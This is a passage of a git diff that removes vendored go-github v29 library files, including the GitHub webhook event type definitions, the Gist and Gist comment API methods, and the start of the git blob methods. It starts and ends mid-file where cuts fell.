https://developer.github.com/v3/activity/events/types/#orgblockevent -type OrgBlockEvent struct { - // Action is the action that was performed. - // Can be "blocked" or "unblocked". - Action *string `json:"action,omitempty"` - BlockedUser *User `json:"blocked_user,omitempty"` - Organization *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - - // The following fields are only populated by Webhook events. - Installation *Installation `json:"installation,omitempty"` -} - -// PageBuildEvent represents an attempted build of a GitHub Pages site, whether -// successful or not. -// The Webhook event name is "page_build". -// -// This event is triggered on push to a GitHub Pages enabled branch (gh-pages -// for project pages, master for user and organization pages). -// -// Events of this type are not visible in timelines, they are only used to trigger hooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#pagebuildevent -type PageBuildEvent struct { - Build *PagesBuild `json:"build,omitempty"` - - // The following fields are only populated by Webhook events. - ID *int64 `json:"id,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// PingEvent is triggered when a Webhook is added to GitHub. -// -// GitHub API docs: https://developer.github.com/webhooks/#ping-event -type PingEvent struct { - // Random string of GitHub zen. - Zen *string `json:"zen,omitempty"` - // The ID of the webhook that triggered the ping. - HookID *int64 `json:"hook_id,omitempty"` - // The webhook configuration. - Hook *Hook `json:"hook,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// ProjectEvent is triggered when project is created, modified or deleted. -// The webhook event name is "project". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#projectevent -type ProjectEvent struct { - Action *string `json:"action,omitempty"` - Changes *ProjectChange `json:"changes,omitempty"` - Project *Project `json:"project,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// ProjectCardEvent is triggered when a project card is created, updated, moved, converted to an issue, or deleted. -// The webhook event name is "project_card". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#projectcardevent -type ProjectCardEvent struct { - Action *string `json:"action,omitempty"` - Changes *ProjectCardChange `json:"changes,omitempty"` - AfterID *int64 `json:"after_id,omitempty"` - ProjectCard *ProjectCard `json:"project_card,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// ProjectColumnEvent is triggered when a project column is created, updated, moved, or deleted. -// The webhook event name is "project_column". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#projectcolumnevent -type ProjectColumnEvent struct { - Action *string `json:"action,omitempty"` - Changes *ProjectColumnChange `json:"changes,omitempty"` - AfterID *int64 `json:"after_id,omitempty"` - ProjectColumn *ProjectColumn `json:"project_column,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// PublicEvent is triggered when a private repository is open sourced. -// According to GitHub: "Without a doubt: the best GitHub event." -// The Webhook event name is "public". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#publicevent -type PublicEvent struct { - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// PullRequestEvent is triggered when a pull request is assigned, unassigned, labeled, -// unlabeled, opened, edited, closed, reopened, synchronize, ready_for_review, -// locked, unlocked, a pull request review is requested, or a review request is removed. -// The Webhook event name is "pull_request". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#pullrequestevent -type PullRequestEvent struct { - // Action is the action that was performed. Possible values are: - // "assigned", "unassigned", "review_requested", "review_request_removed", "labeled", "unlabeled", - // "opened", "edited", "closed", "ready_for_review", "locked", "unlocked", or "reopened". - // If the action is "closed" and the "merged" key is "false", the pull request was closed with unmerged commits. - // If the action is "closed" and the "merged" key is "true", the pull request was merged. - // While webhooks are also triggered when a pull request is synchronized, Events API timelines - // don't include pull request events with the "synchronize" action. - Action *string `json:"action,omitempty"` - Assignee *User `json:"assignee,omitempty"` - Number *int `json:"number,omitempty"` - PullRequest *PullRequest `json:"pull_request,omitempty"` - - // The following fields are only populated by Webhook events. - Changes *EditChange `json:"changes,omitempty"` - // RequestedReviewer is populated in "review_requested", "review_request_removed" event deliveries. - // A request affecting multiple reviewers at once is split into multiple - // such event deliveries, each with a single, different RequestedReviewer. - RequestedReviewer *User `json:"requested_reviewer,omitempty"` - // In the event that a team is requested instead of a user, "requested_team" gets sent in place of - // "requested_user" with the same delivery behavior. - RequestedTeam *Team `json:"requested_team,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` - Label *Label `json:"label,omitempty"` // Populated in "labeled" event deliveries. - - // The following field is only present when the webhook is triggered on - // a repository belonging to an organization. - Organization *Organization `json:"organization,omitempty"` -} - -// PullRequestReviewEvent is triggered when a review is submitted on a pull -// request. -// The Webhook event name is "pull_request_review". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#pullrequestreviewevent -type PullRequestReviewEvent struct { - // Action is always "submitted". - Action *string `json:"action,omitempty"` - Review *PullRequestReview `json:"review,omitempty"` - PullRequest *PullRequest `json:"pull_request,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` - - // The following field is only present when the webhook is triggered on - // a repository belonging to an organization. - Organization *Organization `json:"organization,omitempty"` -} - -// PullRequestReviewCommentEvent is triggered when a comment is created on a -// portion of the unified diff of a pull request. -// The Webhook event name is "pull_request_review_comment". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#pullrequestreviewcommentevent -type PullRequestReviewCommentEvent struct { - // Action is the action that was performed on the comment. - // Possible values are: "created", "edited", "deleted". - Action *string `json:"action,omitempty"` - PullRequest *PullRequest `json:"pull_request,omitempty"` - Comment *PullRequestComment `json:"comment,omitempty"` - - // The following fields are only populated by Webhook events. - Changes *EditChange `json:"changes,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// PushEvent represents a git push to a GitHub repository. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#pushevent -type PushEvent struct { - PushID *int64 `json:"push_id,omitempty"` - Head *string `json:"head,omitempty"` - Ref *string `json:"ref,omitempty"` - Size *int `json:"size,omitempty"` - Commits []PushEventCommit `json:"commits,omitempty"` - Before *string `json:"before,omitempty"` - DistinctSize *int `json:"distinct_size,omitempty"` - - // The following fields are only populated by Webhook events. - After *string `json:"after,omitempty"` - Created *bool `json:"created,omitempty"` - Deleted *bool `json:"deleted,omitempty"` - Forced *bool `json:"forced,omitempty"` - BaseRef *string `json:"base_ref,omitempty"` - Compare *string `json:"compare,omitempty"` - Repo *PushEventRepository `json:"repository,omitempty"` - HeadCommit *PushEventCommit `json:"head_commit,omitempty"` - Pusher *User `json:"pusher,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -func (p PushEvent) String() string { - return Stringify(p) -} - -// PushEventCommit represents a git commit in a GitHub PushEvent. -type PushEventCommit struct { - Message *string `json:"message,omitempty"` - Author *CommitAuthor `json:"author,omitempty"` - URL *string `json:"url,omitempty"` - Distinct *bool `json:"distinct,omitempty"` - - // The following fields are only populated by Events API. - SHA *string `json:"sha,omitempty"` - - // The following fields are only populated by Webhook events. - ID *string `json:"id,omitempty"` - TreeID *string `json:"tree_id,omitempty"` - Timestamp *Timestamp `json:"timestamp,omitempty"` - Committer *CommitAuthor `json:"committer,omitempty"` - Added []string `json:"added,omitempty"` - Removed []string `json:"removed,omitempty"` - Modified []string `json:"modified,omitempty"` -} - -func (p PushEventCommit) String() string { - return Stringify(p) -} - -// PushEventRepository represents the repo object in a PushEvent payload. -type PushEventRepository struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Name *string `json:"name,omitempty"` - FullName *string `json:"full_name,omitempty"` - Owner *User `json:"owner,omitempty"` - Private *bool `json:"private,omitempty"` - Description *string `json:"description,omitempty"` - Fork *bool `json:"fork,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - PushedAt *Timestamp `json:"pushed_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - Homepage *string `json:"homepage,omitempty"` - PullsURL *string `json:"pulls_url,omitempty"` - Size *int `json:"size,omitempty"` - StargazersCount *int `json:"stargazers_count,omitempty"` - WatchersCount *int `json:"watchers_count,omitempty"` - Language *string `json:"language,omitempty"` - HasIssues *bool `json:"has_issues,omitempty"` - HasDownloads *bool `json:"has_downloads,omitempty"` - HasWiki *bool `json:"has_wiki,omitempty"` - HasPages *bool `json:"has_pages,omitempty"` - ForksCount *int `json:"forks_count,omitempty"` - OpenIssuesCount *int `json:"open_issues_count,omitempty"` - DefaultBranch *string `json:"default_branch,omitempty"` - MasterBranch *string `json:"master_branch,omitempty"` - Organization *string `json:"organization,omitempty"` - URL *string `json:"url,omitempty"` - ArchiveURL *string `json:"archive_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - StatusesURL *string `json:"statuses_url,omitempty"` - GitURL *string `json:"git_url,omitempty"` - SSHURL *string `json:"ssh_url,omitempty"` - CloneURL *string `json:"clone_url,omitempty"` - SVNURL *string `json:"svn_url,omitempty"` -} - -// PushEventRepoOwner is a basic representation of user/org in a PushEvent payload. -type PushEventRepoOwner struct { - Name *string `json:"name,omitempty"` - Email *string `json:"email,omitempty"` -} - -// ReleaseEvent is triggered when a release is published, unpublished, created, -// edited, deleted, or prereleased. -// The Webhook event name is "release". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#releaseevent -type ReleaseEvent struct { - // Action is the action that was performed. Possible values are: "published", "unpublished", - // "created", "edited", "deleted", or "prereleased". - Action *string `json:"action,omitempty"` - Release *RepositoryRelease `json:"release,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// RepositoryEvent is triggered when a repository is created, archived, unarchived, -// renamed, edited, transferred, made public, or made private. Organization hooks are -// also trigerred when a repository is deleted. -// The Webhook event name is "repository". -// -// Events of this type are not visible in timelines, they are only used to -// trigger organization webhooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#repositoryevent -type RepositoryEvent struct { - // Action is the action that was performed. Possible values are: "created", - // "deleted" (organization hooks only), "archived", "unarchived", "edited", "renamed", - // "transferred", "publicized", or "privatized". - Action *string `json:"action,omitempty"` - Repo *Repository `json:"repository,omitempty"` - - // The following fields are only populated by Webhook events. - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// RepositoryDispatchEvent is triggered when a client sends a POST request to the repository dispatch event endpoint. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#repositorydispatchevent -type RepositoryDispatchEvent struct { - // Action is the event_type that submitted with the repository dispatch payload. Value can be any string. - Action *string `json:"action,omitempty"` - Branch *string `json:"branch,omitempty"` - ClientPayload json.RawMessage `json:"client_payload,omitempty"` - Repo *Repository `json:"repository,omitempty"` - - // The following fields are only populated by Webhook events. - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// RepositoryVulnerabilityAlertEvent is triggered when a security alert is created, dismissed, or resolved. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#repositoryvulnerabilityalertevent -type RepositoryVulnerabilityAlertEvent struct { - // Action is the action that was performed. Possible values are: "create", "dismiss", "resolve". - Action *string `json:"action,omitempty"` - - //The security alert of the vulnerable dependency. - Alert *struct { - ID *int64 `json:"id,omitempty"` - AffectedRange *string `json:"affected_range,omitempty"` - AffectedPackageName *string `json:"affected_package_name,omitempty"` - ExternalReference *string `json:"external_reference,omitempty"` - ExternalIdentifier *string `json:"external_identifier,omitempty"` - FixedIn *string `json:"fixed_in,omitempty"` - Dismisser *User `json:"dismisser,omitempty"` - DismissReason *string `json:"dismiss_reason,omitempty"` - DismissedAt *Timestamp `json:"dismissed_at,omitempty"` - } `json:"alert,omitempty"` -} - -// StarEvent is triggered when a star is added or removed from a repository. -// The Webhook event name is "star". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#starevent -type StarEvent struct { - // Action is the action that was performed. Possible values are: "created" or "deleted". - Action *string `json:"action,omitempty"` - - // StarredAt is the time the star was created. It will be null for the "deleted" action. - StarredAt *Timestamp `json:"starred_at,omitempty"` -} - -// StatusEvent is triggered when the status of a Git commit changes. -// The Webhook event name is "status". -// -// Events of this type are not visible in timelines, they are only used to -// trigger hooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#statusevent -type StatusEvent struct { - SHA *string `json:"sha,omitempty"` - // State is the new state. Possible values are: "pending", "success", "failure", "error". - State *string `json:"state,omitempty"` - Description *string `json:"description,omitempty"` - TargetURL *string `json:"target_url,omitempty"` - Branches []*Branch `json:"branches,omitempty"` - - // The following fields are only populated by Webhook events. - ID *int64 `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - Context *string `json:"context,omitempty"` - Commit *RepositoryCommit `json:"commit,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// TeamEvent is triggered when an organization's team is created, modified or deleted. -// The Webhook event name is "team". -// -// Events of this type are not visible in timelines. These events are only used -// to trigger hooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#teamevent -type TeamEvent struct { - Action *string `json:"action,omitempty"` - Team *Team `json:"team,omitempty"` - Changes *TeamChange `json:"changes,omitempty"` - Repo *Repository `json:"repository,omitempty"` - - // The following fields are only populated by Webhook events. - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// TeamAddEvent is triggered when a repository is added to a team. -// The Webhook event name is "team_add". -// -// Events of this type are not visible in timelines. These events are only used -// to trigger hooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#teamaddevent -type TeamAddEvent struct { - Team *Team `json:"team,omitempty"` - Repo *Repository `json:"repository,omitempty"` - - // The following fields are only populated by Webhook events. - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// UserEvent is triggered when a user is created or deleted. -// The Webhook event name is "user". -// -// Only global webhooks can subscribe to this event type. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/activity/events/types/#userevent-enterprise -type UserEvent struct { - User *User `json:"user,omitempty"` - // The action performed. Possible values are: "created" or "deleted". - Action *string `json:"action,omitempty"` - Enterprise *Enterprise `json:"enterprise,omitempty"` - Sender *User `json:"sender,omitempty"` -} - -// WatchEvent is related to starring a repository, not watching. See this API -// blog post for an explanation: https://developer.github.com/changes/2012-09-05-watcher-api/ -// -// The event’s actor is the user who starred a repository, and the event’s -// repository is the repository that was starred. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#watchevent -type WatchEvent struct { - // Action is the action that was performed. Possible value is: "started". - Action *string `json:"action,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} diff --git a/vendor/github.com/google/go-github/v29/github/gists.go b/vendor/github.com/google/go-github/v29/github/gists.go deleted file mode 100644 index 36d9361967..0000000000 --- a/vendor/github.com/google/go-github/v29/github/gists.go +++ /dev/null @@ -1,363 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// GistsService handles communication with the Gist related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/gists/ -type GistsService service - -// Gist represents a GitHub's gist. -type Gist struct { - ID *string `json:"id,omitempty"` - Description *string `json:"description,omitempty"` - Public *bool `json:"public,omitempty"` - Owner *User `json:"owner,omitempty"` - Files map[GistFilename]GistFile `json:"files,omitempty"` - Comments *int `json:"comments,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - GitPullURL *string `json:"git_pull_url,omitempty"` - GitPushURL *string `json:"git_push_url,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (g Gist) String() string { - return Stringify(g) -} - -// GistFilename represents filename on a gist. -type GistFilename string - -// GistFile represents a file on a gist. -type GistFile struct { - Size *int `json:"size,omitempty"` - Filename *string `json:"filename,omitempty"` - Language *string `json:"language,omitempty"` - Type *string `json:"type,omitempty"` - RawURL *string `json:"raw_url,omitempty"` - Content *string `json:"content,omitempty"` -} - -func (g GistFile) String() string { - return Stringify(g) -} - -// GistCommit represents a commit on a gist. -type GistCommit struct { - URL *string `json:"url,omitempty"` - Version *string `json:"version,omitempty"` - User *User `json:"user,omitempty"` - ChangeStatus *CommitStats `json:"change_status,omitempty"` - CommittedAt *Timestamp `json:"committed_at,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (gc GistCommit) String() string { - return Stringify(gc) -} - -// GistFork represents a fork of a gist. -type GistFork struct { - URL *string `json:"url,omitempty"` - User *User `json:"user,omitempty"` - ID *string `json:"id,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (gf GistFork) String() string { - return Stringify(gf) -} - -// GistListOptions specifies the optional parameters to the -// GistsService.List, GistsService.ListAll, and GistsService.ListStarred methods. -type GistListOptions struct { - // Since filters Gists by time. - Since time.Time `url:"since,omitempty"` - - ListOptions -} - -// List gists for a user. Passing the empty string will list -// all public gists if called anonymously. However, if the call -// is authenticated, it will returns all gists for the authenticated -// user. -// -// GitHub API docs: https://developer.github.com/v3/gists/#list-gists -func (s *GistsService) List(ctx context.Context, user string, opt *GistListOptions) ([]*Gist, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/gists", user) - } else { - u = "gists" - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var gists []*Gist - resp, err := s.client.Do(ctx, req, &gists) - if err != nil { - return nil, resp, err - } - - return gists, resp, nil -} - -// ListAll lists all public gists. -// -// GitHub API docs: https://developer.github.com/v3/gists/#list-gists -func (s *GistsService) ListAll(ctx context.Context, opt *GistListOptions) ([]*Gist, *Response, error) { - u, err := addOptions("gists/public", opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var gists []*Gist - resp, err := s.client.Do(ctx, req, &gists) - if err != nil { - return nil, resp, err - } - - return gists, resp, nil -} - -// ListStarred lists starred gists of authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/gists/#list-gists -func (s *GistsService) ListStarred(ctx context.Context, opt *GistListOptions) ([]*Gist, *Response, error) { - u, err := addOptions("gists/starred", opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var gists []*Gist - resp, err := s.client.Do(ctx, req, &gists) - if err != nil { - return nil, resp, err - } - - return gists, resp, nil -} - -// Get a single gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#get-a-single-gist -func (s *GistsService) Get(ctx context.Context, id string) (*Gist, *Response, error) { - u := fmt.Sprintf("gists/%v", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - gist := new(Gist) - resp, err := s.client.Do(ctx, req, gist) - if err != nil { - return nil, resp, err - } - - return gist, resp, nil -} - -// GetRevision gets a specific revision of a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#get-a-specific-revision-of-a-gist -func (s *GistsService) GetRevision(ctx context.Context, id, sha string) (*Gist, *Response, error) { - u := fmt.Sprintf("gists/%v/%v", id, sha) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - gist := new(Gist) - resp, err := s.client.Do(ctx, req, gist) - if err != nil { - return nil, resp, err - } - - return gist, resp, nil -} - -// Create a gist for authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/gists/#create-a-gist -func (s *GistsService) Create(ctx context.Context, gist *Gist) (*Gist, *Response, error) { - u := "gists" - req, err := s.client.NewRequest("POST", u, gist) - if err != nil { - return nil, nil, err - } - - g := new(Gist) - resp, err := s.client.Do(ctx, req, g) - if err != nil { - return nil, resp, err - } - - return g, resp, nil -} - -// Edit a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#edit-a-gist -func (s *GistsService) Edit(ctx context.Context, id string, gist *Gist) (*Gist, *Response, error) { - u := fmt.Sprintf("gists/%v", id) - req, err := s.client.NewRequest("PATCH", u, gist) - if err != nil { - return nil, nil, err - } - - g := new(Gist) - resp, err := s.client.Do(ctx, req, g) - if err != nil { - return nil, resp, err - } - - return g, resp, nil -} - -// ListCommits lists commits of a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#list-gist-commits -func (s *GistsService) ListCommits(ctx context.Context, id string, opt *ListOptions) ([]*GistCommit, *Response, error) { - u := fmt.Sprintf("gists/%v/commits", id) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var gistCommits []*GistCommit - resp, err := s.client.Do(ctx, req, &gistCommits) - if err != nil { - return nil, resp, err - } - - return gistCommits, resp, nil -} - -// Delete a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#delete-a-gist -func (s *GistsService) Delete(ctx context.Context, id string) (*Response, error) { - u := fmt.Sprintf("gists/%v", id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// Star a gist on behalf of authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/gists/#star-a-gist -func (s *GistsService) Star(ctx context.Context, id string) (*Response, error) { - u := fmt.Sprintf("gists/%v/star", id) - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// Unstar a gist on a behalf of authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/gists/#unstar-a-gist -func (s *GistsService) Unstar(ctx context.Context, id string) (*Response, error) { - u := fmt.Sprintf("gists/%v/star", id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// IsStarred checks if a gist is starred by authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/gists/#check-if-a-gist-is-starred -func (s *GistsService) IsStarred(ctx context.Context, id string) (bool, *Response, error) { - u := fmt.Sprintf("gists/%v/star", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - resp, err := s.client.Do(ctx, req, nil) - starred, err := parseBoolResponse(err) - return starred, resp, err -} - -// Fork a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#fork-a-gist -func (s *GistsService) Fork(ctx context.Context, id string) (*Gist, *Response, error) { - u := fmt.Sprintf("gists/%v/forks", id) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - g := new(Gist) - resp, err := s.client.Do(ctx, req, g) - if err != nil { - return nil, resp, err - } - - return g, resp, nil -} - -// ListForks lists forks of a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#list-gist-forks -func (s *GistsService) ListForks(ctx context.Context, id string, opt *ListOptions) ([]*GistFork, *Response, error) { - u := fmt.Sprintf("gists/%v/forks", id) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var gistForks []*GistFork - resp, err := s.client.Do(ctx, req, &gistForks) - if err != nil { - return nil, resp, err - } - - return gistForks, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/gists_comments.go b/vendor/github.com/google/go-github/v29/github/gists_comments.go deleted file mode 100644 index d5322e3d85..0000000000 --- a/vendor/github.com/google/go-github/v29/github/gists_comments.go +++ /dev/null @@ -1,119 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// GistComment represents a Gist comment. -type GistComment struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Body *string `json:"body,omitempty"` - User *User `json:"user,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` -} - -func (g GistComment) String() string { - return Stringify(g) -} - -// ListComments lists all comments for a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/comments/#list-comments-on-a-gist -func (s *GistsService) ListComments(ctx context.Context, gistID string, opt *ListOptions) ([]*GistComment, *Response, error) { - u := fmt.Sprintf("gists/%v/comments", gistID) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var comments []*GistComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// GetComment retrieves a single comment from a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/comments/#get-a-single-comment -func (s *GistsService) GetComment(ctx context.Context, gistID string, commentID int64) (*GistComment, *Response, error) { - u := fmt.Sprintf("gists/%v/comments/%v", gistID, commentID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - c := new(GistComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// CreateComment creates a comment for a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/comments/#create-a-comment -func (s *GistsService) CreateComment(ctx context.Context, gistID string, comment *GistComment) (*GistComment, *Response, error) { - u := fmt.Sprintf("gists/%v/comments", gistID) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - - c := new(GistComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// EditComment edits an existing gist comment. -// -// GitHub API docs: https://developer.github.com/v3/gists/comments/#edit-a-comment -func (s *GistsService) EditComment(ctx context.Context, gistID string, commentID int64, comment *GistComment) (*GistComment, *Response, error) { - u := fmt.Sprintf("gists/%v/comments/%v", gistID, commentID) - req, err := s.client.NewRequest("PATCH", u, comment) - if err != nil { - return nil, nil, err - } - - c := new(GistComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// DeleteComment deletes a gist comment. -// -// GitHub API docs: https://developer.github.com/v3/gists/comments/#delete-a-comment -func (s *GistsService) DeleteComment(ctx context.Context, gistID string, commentID int64) (*Response, error) { - u := fmt.Sprintf("gists/%v/comments/%v", gistID, commentID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/git.go b/vendor/github.com/google/go-github/v29/github/git.go deleted file mode 100644 index 1ce47437bd..0000000000 --- a/vendor/github.com/google/go-github/v29/github/git.go +++ /dev/null @@ -1,12 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -// GitService handles communication with the git data related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/git/ -type GitService service diff --git a/vendor/github.com/google/go-github/v29/github/git_blobs.go b/vendor/github.com/google/go-github/v29/github/git_blobs.go deleted file mode 100644 index 70aee14a7a..0000000000 --- a/vendor/github.com/google/go-github/v29/github/git_blobs.go +++ /dev/null @@ -1,69 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "bytes" - "context" - "fmt" -) - -// Blob represents a blob object. -type Blob struct { - Content *string `json:"content,omitempty"` - Encoding *string `json:"encoding,omitempty"` - SHA *string `json:"sha,omitempty"` - Size *int `json:"size,omitempty"` - URL *string `json:"url,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -// GetBlob fetches a blob from a repo given a SHA. -// -// GitHub API docs: https://developer.github.com/v3/git/blobs/#get-a-blob -func (s *GitService) GetBlob(ctx context.Context, owner string, repo string, sha string) (*Blob, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/blobs/%v", owner, repo, sha) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - blob := new(Blob) - resp, err := s.client.Do(ctx, req, blob) - return blob, resp, err -} - -// GetBlobRaw fetches a blob's contents from a repo. -// Unlike GetBlob, it returns the raw bytes rather than the base64-encoded data. -// -// GitHub API docs: https://developer.github.com/v3/git/blobs/#get-a-blob -func (s *GitService) GetBlobRaw(ctx context.Context, owner, repo, sha string) ([]byte, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/blobs/%v", owner, repo, sha) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return 